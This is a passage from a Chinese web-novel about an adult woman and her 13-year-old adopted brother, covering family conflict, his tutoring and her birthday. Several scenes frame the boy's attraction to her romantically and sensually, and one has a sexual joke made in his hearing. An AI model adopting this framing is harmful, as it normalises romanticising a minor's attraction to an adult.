黎母不可置信地瞪大眼睛，竟然敢说她儿子该死！
她扬起手，全身力气都汇聚到掌心，死盯着黎娜的脸，巴掌狠狠地落下来。
办公室门打开，黎父一步跨到黎娜前面，死死攥住黎母的手腕，截住了这一巴掌。
黎母用力挣扎，动弹不得。
黎父甩开她，她踉跄着后退几步跌坐到地上，眼泪不停往外涌，被赶来的保安按住。
黎父对她的眼泪视而不见，冷着脸对保安说：“把她和那份协议带出去，以后不许她进公司。”
黎母大哭出声，被保安架出去。
黎父警告她：“以后不许出现在我家附近，也不准接近娜娜，我会一直派人盯着你。”
这是要彻底跟她断绝关系。
黎母边哭边笑，疯了一样。
随着黎母离开，这层楼终于恢复了安静。
沈知逸悄悄走到黎娜旁边，抬头小心翼翼地观察她。
黎父站在沈知逸面前，揉了揉他的脑袋，脸上肃冷消失不见，目光温柔地看着他。
“刚才知逸冲进会议室，说有人欺负你，把我们都吓了一跳。”
沈知逸不好意思地低下头，抠着自己的手指头。
黎娜回神，轻轻地“嗯”了一声，没什么情绪。
黎父说：“这孩子懂事，有人欺负你，他知道出去找人帮忙，他是真心喜欢你，把你当姐姐看待。”
黎娜点头：“行，那我回家睡觉去了。”
黎父忍俊不禁：“行啊，回家睡觉去吧。”
黎娜扭头就走，沈知逸立马跟上。
黎父的声音从身后响起。
“娜娜，你自由了。”
“你可以画画，没有人再干涉你。”
黎娜脚步微顿，背对着他说：“为什么要让我画画？怕我跟你宝贝儿子抢东西？”
黎父说：“不是，我只是希望你能开心。作为你的父亲，我最希望的就是你能开心。你画画开心，你就画画，你进公司开心，我就找人培养你。”
“那我还是画画吧。”
“都可以，随便你干什么。”黎父想了一会，又补充道：“但是……能不能别当模特了？”
黎娜问：“为什么？”
黎父咳了一声：“有时候穿的衣服太少，女孩子家家的，不太好……”
黎娜笑了，眼圈发红：“那我就偏要当！”
黎父叹气：“那我
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能怎么办，我只能找时装周的负责人，拜托人家让我女儿多穿两件衣服。”
黎娜忍不住笑，眼泪划过上扬的嘴角，如同沾了雨露的蔷薇花。
到公司楼下，司机跟黎娜和沈知逸疯狂招手。
“娜娜，知逸，我在这儿呢！”
这个司机年纪跟黎父一样大，已经给黎父开了快三十年的车了，可以说是看着黎娜长大的。
黎娜关掉打车页面，带着沈知逸上车。
路上有一搭没一搭地聊着，很快就到家了，黎娜下车，沈知逸也跟着下来。
黎娜挡住他，不让他下。
“你干什么，你回你黎叔叔家，又不是回我家，坐回去。”
沈知逸脑袋都钻出来，听到黎娜的话，又不情不愿地坐回去，眼巴巴地瞅着她。
司机挠头：“那个……娜娜啊，你爸爸说，让知逸先待在你这，他那边现在不太方便了，让你看着你弟弟。”
黎娜指着自己：“我？”
司机点头：“对啊，让知逸在你这吧，他只跟你亲，跟别人都认生，孩子年纪小，还是跟亲近的人待在一块比较好，不然很容易自闭的……”
沈知逸也跟着点头，并且很自觉地跳下车，从黎娜旁边钻了出去，紧紧地跟在她屁股后面。
黎娜都气笑了，把沈知逸拎到前面，指着他说：“他都多大人了，还自闭，你怎么都不担心我会自闭呢？”
司机说：“你只会把别人搞自闭。”
他一踩油门跑了。
黎娜在风中凌乱。
她脸色黑如锅底，把沈知逸带进家里。
去卫生间换家居服，黎娜一照镜子，看到自己脸上横亘着一条紫红色的痕迹，被黎母那份协议打的，皮下出血了，一个星期都别想出门了。
黎娜换完衣服出来，听到一阵乱七八糟的钢琴声，探头一看，原来是沈知逸在按钢琴键。
她撸起袖子：“你起开，让我来。”
沈知逸被她吓了一跳，手指立马缩回袖子里，闪到旁边腾位置。
黎娜坐在钢琴前，深吸了口气，眼神变坚定了。
她修长的手指落到琴键上，弹出一段悦耳的前奏，接着另一个手追逐上来，平静中暗潮翻滚。她双手伸向不同的方向，将节奏和情感推向高/潮，又在余韵中慢下来，耐心收尾，万籁俱寂。
她放下双手，看向沈知逸。
“我钢琴弹得好不好？”
不用想，沈知逸这个菜狗绝对会佩服得五体投地。
沈知逸望着她，憋出一句：“你的脸紫了。”
黎娜：“……”
沈知逸手指戳到自己脸上，指给她看，从脸颊划过鼻梁一直到左眼，很紧张地看着她。
“从这里，一直到这里，很长一条，要不要擦药？”
黎娜：“……”
沈知逸四处张望，头都晃出重影了，急得不行：“药在哪里？”
黎娜一把握住他的肩膀，将他按在原地，手指用力戳到他发紫的脸颊上。
沈知逸皱眉往后躲，握住她的手指。
“别戳，好痛……”
他脸被黎娜打了一拳，淤青还没有消下去。
17. 仰望神明
黎娜从他的手中挣脱出来。
“也不看看你自己脸紫成什么样了，还来说我，你能比我好到哪里去？”
沈知逸捂着脸颊看她，微微抿着嘴唇，眼睛乌黑湿润，看起来水汪汪的，像路边淋了雨的小狗。
黎娜的良心又受到谴责了。
她在嘚瑟什么，明明就是她一拳把沈知逸打成这样的。
她收回视线，往沙发上一摊，烂泥似的，毫无形象可言，看着沈知逸在家里拉开抽屉寻找东西，忽然有些头疼。
本来是要去退养的，半路上黎母被叫去离婚了，现在她和沈知逸的抚养权都在黎父那里。黎父看起来还挺喜欢沈知逸的，要是她提起退养的事，她都不敢想象那场面得有多尴尬。
而且黎父要组建新的家庭了，到时候他们就是一家人，沈知逸夹在他们中间得多别扭，而且两个小孩，一个亲生的，一个前妻领养的，两碗水不可能端平。
黎娜长长地叹了口气。
她现在的状态，未婚有娃。
沈知逸翻到一个贴着红十字图案的塑料箱子，看那个图案和医院挺像的，就打开了，里面是各种药盒。
他不认识字，记得之前黎娜是用喷雾喷在他淤青上，他也翻到了一个喷雾，拿着回去找黎娜了。
黎娜半睡半醒，感觉面前落下一道黑影，她迅速睁开眼睛，看到沈知逸单膝跪在沙发上，用喷雾对着她的脸。
黎娜立马伸手挥开，后退了一点，不悦地看着他：“你干什么？”
沈知逸放下喷雾：“给你喷药。”
黎娜夺走他手里的喷雾看了一眼，真的很想仰天长啸。
“大哥，这是治蚊子咬的！你想把我眼睛喷瞎？！”
“大哥”疯狂摇头。
黎娜做了个投篮动作，把那瓶喷雾丢回医药箱里，回忆了几秒钟，对沈知逸说：“拿蓝色外包装的。”
沈知逸跑回去，又跑回来，手里拿着黎娜说的喷雾。
黎娜闭上眼睛，旁边的沙发落下一道重量，她整个人都往那边倾斜了一点。
怕真的喷到她眼睛里去，沈知逸先喷在手心里，用指腹沾着药，慢慢涂到她脸上。
她“嘶”了一声，躲开沈知逸的手指，眉头紧皱着。
沈知逸吓得立马停下来，小心翼翼地问她：“是不是很疼？”
黎娜说：“你被我打了一拳，你疼不疼？”
沈知逸垂眸：“疼……”
“那你还问。”黎娜脸正回来，睁开眼睛，死死地盯着他：“我看着你呢，你给我轻点。”
沈知逸郑重地点头，动作放得更轻，轻到什么程度呢，像一只蚊子落到了她脸上。
因为这个姿势，坐着的黎娜，比单膝跪在沙发上的沈知逸要矮一个头，这就导致沈知逸要低头下来看她，而她要抬头仰视沈知逸。
黎娜几乎没有仰视过别人，接触过的女人，除了温琳，很少见到有比她高的。男的倒是有几个，但是不多，也比她高不了多少，抬眸看就够了。
很难想象眼前这个小土豆，以后长到一米八以上是什么样子，肯定没有现在可爱吧，一想到她以后可能要抬头仰视沈知逸，她就莫名有点不爽。
沈知逸认真擦药，时刻小心着力度，由于黎娜目光太过于强烈，如同漩涡一般，总是把他的目光吸引过去，短暂交汇过后，他落荒而逃。这样来来回回了几次，他的脸越来越红。
黎娜觉得好玩，存心逗他。
“沈知逸，你真的好可爱哦，以后去上学了，肯定有很多小姑娘给你塞情书。”
沈知逸动作一顿：“情书是什么？”
在他以前的生活里，他从来没有接触过“情书”这两个字。
黎娜耐心解释：“情书啊，就是有个小姑娘看上你了，给你写信，说沈知逸哥哥我好喜欢你啊，你可不可以当我男朋友，你明白了吗？是这个意思。”
沈知逸点头，垂下眸子，睫毛盖住眼睛。
“那……要是男生写这个给小姑娘，叫什么书？”
黎娜被他问懵了，过了一会才反应过来。
“也叫情书啊，不管是男生给女生写，还是女生给男生写，都叫情书。”
沈知逸若有所思：“哦……”
黎娜看他心不在焉的样子，心里绝对有鬼，一巴掌拍他脑瓜上。
“你还没去学校呢，就想着交女朋友了？”
沈知逸捂着脑袋，焦急否认道：“没有！”
黎娜双手环胸：“没有最好！去了学校就好好学习，想谈恋爱，最起码要等到你十八岁以后！”
沈知逸看着她，眼神跟平时不太一样，语气认真地说：“我不会去学校谈恋爱的，我也不要情书。”
黎娜避开他的目光，看向别处：“别紧张，就算你真谈了，我也不会揍你的。”
她只会姨母笑，磕小朋友的CP。
沈知逸擦完药，坐到一边。
黎娜打电话给温琳。
温琳接通后，声音很嘈杂。
黎娜问：“你在哪？”
温琳：“我在机场啊，刚下飞机。”
黎娜：“你又跑去哪了？”
温琳：“中午突然想吃寿司了，去了趟日本，现在吃完回来了。”
黎娜嘴角抽搐：“吃个饭跑那么远，真奢侈……”
温琳：“还好吧，跟你当年出国留学连个袜子都不会洗，你爸爸给你买了两百多双袜子让人洗了空运过去比起来，我这些根本不算什么。”
黎娜无言以对，转开话题：“我有个弟弟，要上你家的学校，你让我走个后门呗。”
在机场走出T台气场，霸气全开的温琳突然顿住，夹紧屁股，四下张望，很害羞地说：“娜娜，虽然我不喜欢被走后门，但如果是你的话，我……愿意哦。”
她说到后面尾音上扬，还微微喘起来了。
黎娜看向身旁的“未满十八岁”，赶紧捂住手机，低吼道：“你脑子有毛病，反正就这么说定了，让我弟去你家的学校，就这样，拜拜！”
说完就按掉了电话，黎娜深深地吸了口气，看向身旁的沈知逸，挠了挠脸。
“你刚才没有听到什么乱七八糟的东西吧？”
沈知逸看着她，眼睛清澈，一脸天真单纯。
“走后门是什么意思？”<
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p>黎娜脑子一白：“走后门……就是想做一件事，但是没有能力，只能通过不正当的手段去做到。”
沈知逸似懂非懂，但能隐约意识到自己给黎娜添麻烦了。
黎娜没告诉他，进那个学校确实挺麻烦的，虽说对分数要求不高，但怎么说也不能考七分吧。那边老师明确说了，至少每门学科考到六十分，对于沈知逸来说还是有难度的。
一整个下午，黎娜都在跟温琳讨论沈知逸的情况。
最后定下来了，让沈知逸晚上半年，这半年期间请个老师一对一辅导他，正好暑假过完去考试。
一个十三岁的男孩子，领悟能力肯定比七岁小孩好，学起东西来也快，这半年加紧点能来得及。
温琳联系了一个家教老师，推荐给黎娜。
黎娜跟老师说明沈知逸的情况，老师拍着胸脯保证：“没问题，这世界上没有笨的孩子，只有教不好的老师。”
于是，沈知逸进入疯狂补课模式。
黎娜就给他置办衣物，生活用品，又买了一个身高贴纸，重新贴到家里，还专门找了营养师做一日三餐，每天早上起来第一件事就是给沈知逸量身高。
她发现沈知逸早上起来量的时候，会高个两公分，可是到晚上再一量，这两公分又缩回去了。
所以她叫沈知逸起床，都会用扯他腿的方式，还说这样能把他腿扯得长一点，这样就高了。
总在家里感觉不出来，带沈知逸去商业街玩的时候，他会指着商店的牌子，一字一顿地念：“幸、福、百、货、商、店，对吗？”
黎娜点头：“对，中午想吃什么？”
沈知逸又指向一个牌子，这次是中英文结合的。
“K、F、C、肯、德、基。”
他看向黎娜：“我想吃肯德基。”
黎娜皱眉：“肯德基不行，都是油炸食品，会刺激性发育，你就长不高了。”
沈知逸“哦”了一声，落寞地收回视线，睫毛垂了下来。
黎娜还是心软了：“偶尔吃一次没事，走，我们去吃吧。”
她拉着沈知逸往肯德基走。
沈知逸站在原地不动，抬头看着她：“我不想吃肯德基了。”
黎娜问：“为什么，你刚才不是说想吃？”
沈知逸说：“我不要吃肯德基，我要长高。”
黎娜忍俊不禁：“就吃这一次，不会有多大影响的。”
沈知逸态度坚决：“我不吃。”
黎娜：“你这么想长高哇？”
沈知逸点头：“我要长高，我要长得和你一样高。”
黎娜：“为什么要长得和我一样高？”
沈知逸低下脑袋，突然紧张起来了：“因为……因为长得和你一样高，就和你一样大了。”
黎娜憋不住笑：“和我一样大干什么？你想当大人？”
沈知逸抠着手指：“嗯，我想当大人。”
他还是低着头，抬眸看周围路过的年轻男人，他们有着和黎娜差不多的年纪。
沈知逸用很轻的声音说：“当大人，就不用再当弟弟了……”
黎娜当然没有听见。
18. 仰望神明
自从沈知逸住过来以后，黎父前前后后转了几百万过来，其中包括沈知逸学费和生活费，剩下的是他们的零花钱。
黎娜没跟沈知逸提零花钱的事，把钱都装到自己的小金库里了，稍微有点良心不安，还给沈知逸花了那么一丢丢的小钱。
沈知逸的头发已经长出来了，纯天然的小卷毛，一直学习没顾着打理，前面都长到盖住眼睛了，后面也留到了脖子的位置。
黎娜带他去美发沙龙店，听从Tony老师的建议，给他剪了一个蓬松的羊毛卷，都不用烫，价格一千五。
黎娜掏出手机扫付款码。
沈知逸走到Tony面前，犹豫了几秒，指着自己的脑袋，怯生生地开口：“就洗了一下，随便剪了剪，收一千五是不是太贵了……能不能便宜点？”
Tony拿着剪刀，目瞪口呆。
他们这是什么店？
顶级贵妇店！
这是他们开店有史以来第一次！有客人跟他讨！价！还！价！
黎娜付完钱，迅速把沈知逸拉过来，压低声音。
“你干嘛呀！人家上班不容易，一千五还跟人家讨价还价。”
沈知逸看着她：“我看有的店才十五块钱，这家店要一千五，多了一百倍，都够我剪一百次头了……”
捕捉到Tony嘴角抽搐了两下，黎娜忙捂住沈知逸的嘴巴，跟Tony相视一笑，气氛尴尬得不行。
Tony拿起自家的洗发水，仿佛遭到了很大的打击，极为受伤地看着沈知逸。
“这位可爱的小弟弟，我们可不是只给你洗了个头那么简单哦，我们这个洗发水可是法国进口的，由顶级奢侈香水品牌的调香师调香的，来，你闻闻，你仔细闻闻！”
他把洗发水泵头递到沈知逸鼻子前面，陶醉地深吸了口气，眼睛夸张地往上翻。
“小弟弟，你有没有闻到法国巴黎那个浪漫的味道……”
沈知逸闻了闻：“……”
黎娜捂紧沈知逸的嘴：“……”
两人火速退出美发沙龙店。
沈知逸嘴唇微抿。
黎娜手心痒了一下，隐约感觉到一抹湿热的气息，还有嘴唇软嫩的触感，她迅速松开手，把手心往裤子上用力蹭了几下。
沈知逸低头看着地面，伸出舌尖舔了舔嘴巴，脸颊有些泛红。
开车回家的路上，黎娜腿间涌出一抹湿热，脸色瞬间变了。
她透过后视镜看向沈知逸。
沈知逸坐在门边看着窗外，忽然感知到黎娜的目光，立马回过头来，在后视镜里与黎娜对上了视线。
几秒钟过后，沈知逸挪到中间位置，探头到前面看她。
“姐姐，你怎么了？”
黎娜收回视线：“没怎么，你坐好。”
啊……
要是沈知逸没在车上就好了。
她可以大大咧咧地从包里拿出几张纸巾叠到一起，手直接伸进裤子里把纸巾垫好，勉强可以先撑一会。
现在离家还有三公里，开快点差不多五分钟就到了，去找厕所不知道要不要绕路，还要找地方停车，最关键的是她包里没有卫生棉条，总不能叫沈知逸去买吧。
黎娜用力踩油门，把时间压缩到三分钟，将车驶进小区里，一个神龙摆尾就把车停好了。
沈知逸从右后门下车，绕了大半圈跑到主驾驶位，给黎娜打开门。
黎娜稍微抬起点屁股，看了眼车座子，上面果然有一块殷红，她怕沈知逸看见，迅速拿包盖住了，两条腿微微夹在一起，以一种极其诡异的姿势下了车。
沈知逸拼命压住上扬的嘴角，不行，快压不住了，他不停地催眠自己：我现在好难过，我一点都不想笑，真的真的很难过……
他把自己经历过的所有难过的事情都想了一遍，才没有笑出来。
黎娜站直身体，又一股热流涌出来，小腹也开始隐隐作痛，她扶着车门，脸比刚才更白了。
沈知逸不再因为她怪异的姿势而感到好笑，他察觉到黎娜不太对劲，一下子紧张起来了，很不安地看着她。
“你是不是不舒服？”
黎娜温柔微笑：“没有。”
她正要关车门，沈知逸突然钻进车里，拿起车座子上的包。
“你的包还没有拿……”
他说完最后一个字，看到车座子上的血迹，吃惊地张大了嘴巴，回头看向黎娜，声音有些颤抖。
“你流血了……”
黎娜扶额。
跟一个小男孩解释月经这种东西，有一丢丢难为情呢。要不说她得痔疮了，还是算了吧。
黎娜故作镇定：“我每个月都会流血，没事的。”
沈知逸不敢相信：“那为什么我没有流血？！你是不是生病了，你、你——”
沈知逸眼眶发红：“你会不会死……”
黎娜不得不佩服这个十三岁小男孩的想象力，真的太他妈的丰富了！
黎娜深吸口气，把沈知逸从车上拽下来，往家里走。
“别胡思乱想了，我没有生病！这是生理期，一种自然规律，每个女人都有生理期，不会死的！”
沈知逸目光失焦，喃喃自语：“你在骗我吧，怎么可能……”
黎娜想扇他：“没有骗你！”
她懒得搭理沈知逸了，扭头就往家里走，又想到自己裤子后面有血，而且沈知逸到现在还没跟上来，肯定在盯着她的裤子看。
她回头，捕捉到沈知逸落在她裤子上的视线，一下子就恼了，指着沈知逸说：“你给我走到前面去！”
沈知逸发觉她现在脾气特别暴躁，不敢不从，乖乖地走到前面去，一步三回头地看着黎娜。
黎娜瞪着他，把拳头捏得发出声音，吓得沈知逸都不敢再回头看她了。
营养师在厨房里准备晚饭，见沈知逸进来了，跟他问了一声好。
沈知逸说：“她生病了。”
营养师问：“她是谁？”
沈知逸：“姐姐……她流血了。”
营养师吓了一跳
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，赶紧关掉火，出去找黎娜，边找边问沈知逸：“哪里流血了？”
沈知逸跟在营养师后面，也不知道是哪里流血了，就说：“屁股后面有血。”
回到家的黎娜都听见了，对上营养师探究的视线，扯了扯嘴角。
“我生理期到了。”
营养师恍然大悟：“哦！我说呢，哪有人屁股流血的，我还以为你痔疮破了！”
黎娜：“……”
不是，她痔疮怎么破了？
等等！她根本没有痔疮啊啊啊啊！
黎娜想解释，营养师却一头扎进厨房里：“我给你煮个红枣桂圆汤吧，去去寒气。”
黎娜千万句话汇聚到嘴里，就憋出了一个字：“行。”然后去卫生间换脏衣服了。
沈知逸看她们都不当一回事，很不放心：“她真的没事吗？”
营养师笑得肩膀发颤：“没事儿，你是小男孩儿你不知道，每个女人都有生理期，以后你上学了就知道了。”
沈知逸若有所思地点头。
到吃饭时间，餐桌上只有沈知逸一个人。
黎娜躺在沙发上，盖着毯子玩手机。
营养师喊她：“娜娜，快过来吃饭吧！”
黎娜烦躁地皱眉：“我不吃了，疼得我一直想吐，止痛药给我拿一粒过来。”
营养师拿来温水和止痛药，黎娜吃完药就把手机关上，闭着眼睛缩在毯子里睡觉。
不知道过了多久，身上忽然落下来一道重量，她睁开眼睛，发现身上多盖了一张毯子，沈知逸蹲在她面前，乌黑的眼睛望着她。
“肚子还疼吗？”
黎娜闭上眼：“不疼了。”
“要不要回房间睡？”
黎娜皱眉：“我不想动。”
沈知逸想了一会：“那我和营养师阿姨抱你回房间？”
黎娜耐心耗尽，用被子蒙住自己，一阵乱踢。
“哎呀！沈知逸你别烦我了行不行！滚回你房间睡觉去！”
她乱挥的手脚差点打到沈知逸。
沈知逸后退躲避，重心不稳，后背撞到了坚硬的大理石茶几上，发出一道尖锐刺耳声响，他痛得要命，愣是一声没吭，怕吵到黎娜惹来厌烦，落寞地垂下视线。
营养师从厨房里探出脑袋：“小知逸，别打扰你姐姐了，让她自己待着吧。”
“好。”
沈知逸站起来，拖着两条发麻的双腿回到房间，看着楼下沙发上缩成一团的身影，轻轻地关上门。
客厅里终于恢复的安静，黎娜闭上眼睛，紧皱的眉心松开。
“嗡——”
口袋里手机振动。
黎娜拿出来一看，是温琳。
她不情不愿地按下接通键。
温琳充满活力的声音传了过来。
“娜娜，你生日快到了呦。”
黎娜“嗯”了一声。
“这次想在哪里庆祝？”
“在我坟头庆祝吧。”
黎娜挂断电话。
19. 仰望神明
回到房间，沈知逸在卫生间里刷牙洗脸。
刚来到黎娜这里的时候，每天晚上黎娜都会跟他一起刷牙洗脸，告诉他牙齿要怎么刷，脸要怎么洗，洗完要擦面霜，还有洗澡要一天一次，牙齿和脸要一天两次，平时吃完东西要记得漱口。
沈知逸每天都按照她说的做，逐渐养成习惯，现在他整个人都干干净净的，身上没有虱子了，也没有垃圾桶的酸臭味了，肚子里的寄生虫也在住院的时候清除干净了。随着天气变暖，他手脚上的冻疮都结成痂，快掉干净了。
他一直在慢慢变好，都是黎娜在督促他，这说明黎娜是很在意他的。
想到这里，沈知逸嘴角翘起，连刚才被黎娜凶了一顿而产生的郁闷情绪都消散了。黎娜只是身体不舒服，不是因为不喜欢他才凶他的，以后他要多体谅她，不能像今天这样再惹她生气了。
沈知逸洗完脸，看着镜子里的自己，脸上湿漉漉的，睫毛和眉毛上都挂着水珠。
他眼睛大大的，鼻子精致秀气，嘴唇水润透着淡粉色，皮肤嫩得像剥了壳的鸡蛋，一头特别好rua的小卷毛，在灯光下泛着轻金色。
其实……他长得也不算难看吧。
真的很想让黎娜注意到他的存在。
他想快点长大，长高，要比黎娜还要高，要长得好看一点，这样黎娜就会注意到他了吧，而不是总把他当成一个小孩儿来看待。
沈知逸去楼下拿英语书。
沙发上已经空了，只留下两条毯子。
沈知逸坐进沙发里，把黎娜盖过的毯子盖到自己身上，毛茸茸的很舒服，上面还残留着一丝属于黎娜的温度。
他低下头，脸埋进毯子里，闻到一股甜甜的花香味。
他闭上眼睛，像扑进了黎娜怀里。
“知逸……”
沈知逸立刻睁开眼睛，放下毯子，看到打扫卫生的钟点工站在他面前。
钟点工说：“回房间睡觉吧，在这边睡不行的，会感冒的。”
沈知逸松了口气，还以为被发现了。
“我拿英语书回去背一下单词。”
钟点工很欣慰：“好哇，别背太晚，十点前要睡觉哦。”
沈知逸点头，拿起茶几上的英语书，回房间。
钟点工叫住他：“哦，对了，知逸啊，你姐姐生日快到了，你想好送她什么生日礼物了没有？”
“生日礼物？”
“对呀，你不知道你姐姐生日快到了？她没跟你说？”
沈知逸摇头。
钟点工说：“你姐姐的生日是六月二十三号，记住了啊？”
沈知逸在心里默念一遍：“嗯，我记住了。”
钟点工问：“那小知逸，你生日是什么时候呀？”
沈知逸垂下眸子：“我也不知道……”
钟点工知道他的来历，却没想到他竟然连自己的生日都不清楚，可见这是个从来没有被爸妈疼爱过的可怜孩子。
她说：“不知道没关系的，以后你跟你姐姐一起过生日，一起吃生日蛋糕，好不好呀？”
沈知逸受宠若惊：“好。”
从来没有人给他过生日。
他也没有吃过生日蛋糕。
因为黎娜，他又得到了一个宝贵的东西，那就是他的生日。
沈知逸没有过生日的经验，不知道该送什么礼物。
他用平板查了一下，送女生都是包和化妆品，价格都是几千往上，他没有零花钱，偶尔在家里一些角落里翻出几枚硬币，都放到玄关那里了，黎娜说过他可以用。
黎娜这几天没在家，去外省参加艺术展了。
上午，营养师要去购物中心进货，沈知逸带上玄关的硬币和她一起去，坐在她电瓶车后面的那个小座位上。
营养师买了一些沈知逸爱吃的蔬菜和肉类，就去文具区找他。
他手里拿着几个小袋子，一份贺卡和信封，还有几张图案可爱的小贴纸，正乖巧地站在文具区入口处，营养师一眼就看见他了。
到收银台，营养师叫沈知逸把东西拿上来一起付款。
沈知逸说：“这个我自己付。”
他跑到另一个空着的收银台，把东西放上去，用那些硬币付了钱。
回到家，差不多该准备午饭了，营养师看到沈知逸趴在沙发上，一笔一划地在卡纸上写着什么，特别认真的样子。
营养师好奇去看，被沈知逸发现了，立刻用手挡住藏起来，不悦地说：“这是给姐姐看的……”
营养师捂住眼睛：“好好好，我不看。”
营养师偷偷张开指缝，目光透出来，正好对上了沈知逸的眼睛。
沈知逸：“……”
营养师心虚地背过身：“我真的不看，我去做饭咯！”
她走进厨房里，忍不住姨母笑，这小男孩儿可真可爱啊……
到生日那天早上，黎娜回来了。
她离开了将近半个月，参加完艺术展，又心血来潮去别的城市玩了一圈。
走之前她还穿着卫衣长裤，这几天入夏了，气温极速上升，她风尘仆仆，热得不行，一回家就卸装备。
墨镜摘掉，包包扔掉，靴子踢飞，外套一甩，最后脱到只剩下一件黑色吊带背心和紧身牛仔裤。
这身打扮放在别人身上很普通，但如果是黎娜，一个当过模特打过拳击的女人，身材虽然瘦，但不干干巴巴，手臂肩膀还有大腿上都有一些肌肉线条，在她富有骨感的身体上，就显得极为性感。
连年近四十岁的营养师眼睛都看直了。
“娜娜啊，我要是再年轻个二十岁，再没有老公，我就要被你掰弯啦！”
黎娜震惊地看向她：“姐，你平时没少上网冲浪啊，还知道掰弯……”
营养师避开她的视线：“娜娜，你别这么盯着我看，我会害羞的……”
黎娜嘴角抽搐，故作严肃：“咱们这一行，最忌讳的就是爱上客人，姐，你可有点分寸吧，我真的特别爱吃你做的饭。”
营养师噗嗤笑出声：“我尽量！”
在房间里学习的沈知逸，听见楼下传来黎娜的声音，整个人都控制不住地激动起来了，但是因为太久没见，心里有点别扭，不好意思下去。
他坐立难安，题目都看不进去了，“噌”地从椅子上起来，走到房门口，手放在门把上，又收了回来，走回去重新坐回椅子上，安静地等待着，就连他自己都不知道在等什么。
终于，楼下有人喊了他一声。
“知逸啊！你姐姐回来啦！还给你带
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了礼物！你赶紧下来看看你姐姐吧！”
沈知逸像在课堂上被点名的学生，迅速站起来，走到房门口停住，用手扒拉了两下自己的小卷毛，感觉形象可以了，才推开门走出去。
营养师看沈知逸下来了，捂着嘴跟黎娜说悄悄话。
“你不在的日子里，这小家伙每天早上都要问我一遍，我姐姐今天回来吗？我说不回来，他说那我姐姐什么时候回来呀，她快回来了吗……”
营养师学着沈知逸的样子，瘪着嘴，委屈巴巴地看着黎娜，脸上写满了不开心。
黎娜笑得肩膀发颤，抬眸看向沈知逸。
沈知逸本来在看她，见她视线过来了，就赶忙避开看向别处。
黎娜笑得更厉害了。
营养师越说越来劲：“你不在，咱们小知逸吃饭都不香了，你看看，人都瘦了一圈，多可怜……”
黎娜立刻朝沈知逸看过去，仔细打量着他。
他身上本来就没有多少肉，之前脸上长了点肉，现在又凹进去了，穿着短袖运动裤，两条细胳膊在袖管里晃荡着，用力一掰似乎都能折断。
沈知逸走下来，背靠在楼梯上，抬眸瞥了黎娜一眼，怕被察觉，很快便垂下视线，跟她隔着一段不远不近的距离。
刚才她们说的悄悄话，他下楼的时候都听到了，真的很丢人，他都不敢看黎娜了。
黎娜没他想的那么多。
他没有走过来，她就走过去，低头凑向他。
“怎么不说话，不认识我了？”
黎娜突然靠近，属于她身上的那抹甜甜的花香味扑面而来，带起他心脏剧烈的震颤。
他受不了黎娜如此近距离的直视，想扭开脸，黎娜却捏住了他的脸颊。
沈知逸往旁边躲，眉心皱着，看上去似乎不太愿意被她捏脸，但是也没有做出反抗她的动作。
他低眸看着黎娜包裹在牛仔裤里的两条细腿，不知道是因为她的腿曲线太漂亮，还是出于男性生理本能，他竟然一时移不开目光。
“姐姐好，欢迎回家。”
他还未进入第二性征发育，声音里带着孩童的清脆稚嫩，听起来格外悦耳，乖巧得要命。
黎娜满意微笑，摸他软乎乎的脑袋，声音有些低沉：“想我了？”
沈知逸耳朵一红，明明营养师阿姨刚才都告诉她了，她还来问他，故意让他难堪。
他不愿意说想还是不想。
黎娜倒也没有逼问，因为她手机响了。
温琳打来视频通话。
她按下接通键，找好角度，尽量让自己保持美丽，因为有时候温琳会突然截图，拿她的丑照做表情包。
“娜娜，晚上带你弟弟过来一起玩呗，我想看看这小家伙长得帅不帅。”
沈知逸听到话题是关于他的，不安地抠着手指头，竖起耳朵听黎娜说话。
“其实……我弟弟你也见过。”
温琳知道她有个领养的弟弟，但不知道这个弟弟就是沈知逸。
温琳诧异：“我见过？”
“对，就是你上次炸街撞到的那个小孩。”
温琳：“……”
短暂的沉默过后，温琳说：“那更得见见了，多有缘分啊，撞了个小孩，给撞成你弟弟了。”
20. 仰望神明
生日在海边庆祝。
黎娜开车带着沈知逸赶到的时候，天已经黑了，海滨公园门口拉了条横幅：祝黎娜大美女生日快乐。
黎娜嘴角抽搐，目露嫌弃。
沈知逸捂着口袋，里面装着他写给黎娜的信，打算一会送给她，还有祝福词，他早就写好背了好几遍。
所有准备都做好了，就差送给黎娜了，沈知逸忽然紧张起来了，一想到那个场合，他就觉得很不好意思。
“走，我们进去。”
黎娜拉住沈知逸的袖子，往公园里走。
她腿长，一步能跨很大，沈知逸只能用小碎步跟着她，怕走路幅度太大，把口袋里的信弄皱了。
工作人员确认了黎娜的身份，才将他们放进去，原来她那些朋友竟夸张地包下了一整个海滨公园，专门给她庆祝生日。
咸湿的海风扑面而来，黎娜穿过一片树林，看到前面海滩上插着燃烧的仙女棒和玫瑰花，还有一个巨大的三层奶油蛋糕，做成城堡的形状，没有两个人恐怕搬不起来。
女人们在喝酒看海拍照片，男人们吹牛逼弄烧烤，其乐融融。
温琳弯着腰，撅着屁股正对黎娜的方向，用玫瑰花根部在沙滩上写字。
她从分开站立的腿中间看到黎娜，眼睛瞬间被点亮，发出一声分贝极高的尖叫。
“娜娜来啦！”
在场所有人不管在做什么，此刻都停下来，目光聚焦到黎娜身上。
黎娜嘴角一扬，笑容温柔自信：“来晚了，我自罚三杯。”
她从临时搭建起来的木桌上拿起鸡尾酒，豪爽地喝完三杯。
所有人都放声欢呼。
“好酒量！”
“娜娜还是那么能喝！”
温琳也跟着起哄：“再来三杯！”
只有沈知逸站在她后面，轻轻扯了扯她的裙子，小声说：“少喝一点……”
黎娜拍掉他的手：“别拿你小黑手碰我裙子。”
她穿的白裙子过来。
沈知逸放下手，默默看了一眼自己的手心，没觉得脏，而且他现在已经不脏了，他很干净的，但还是会被黎娜嫌弃。因为他以前脏兮兮的样子被黎娜看到过。
朋友过来跟黎娜打招呼。
沈知逸不认识这些人，躲到黎娜身后，降低自己的存在感，但越怕什么就越来什么，几个女人发现了他，绕到后面来看他。
他把脸扭到一边，女人就跟到那边，他再把脸扭回来，女人也跟回来，最后他将整张脸埋到黎娜背上。
刚才还警告过他的黎娜：“……”
“娜娜，这是谁呀？”朋友问。
黎娜把沈知逸拎到前面来，微笑着介绍：“这是我弟弟，沈知逸，我妈领养回来的。”
“领养的？小家伙长得很帅嘛！”
沈知逸难为情地低下头。
黎娜推了他一下：“说姐姐好。”
沈知逸抿了抿嘴唇，小声说：“姐姐好。”
“小弟弟，你也好呀。”
他的小卷毛看起来软乎乎的，朋友忍不住伸手去摸。
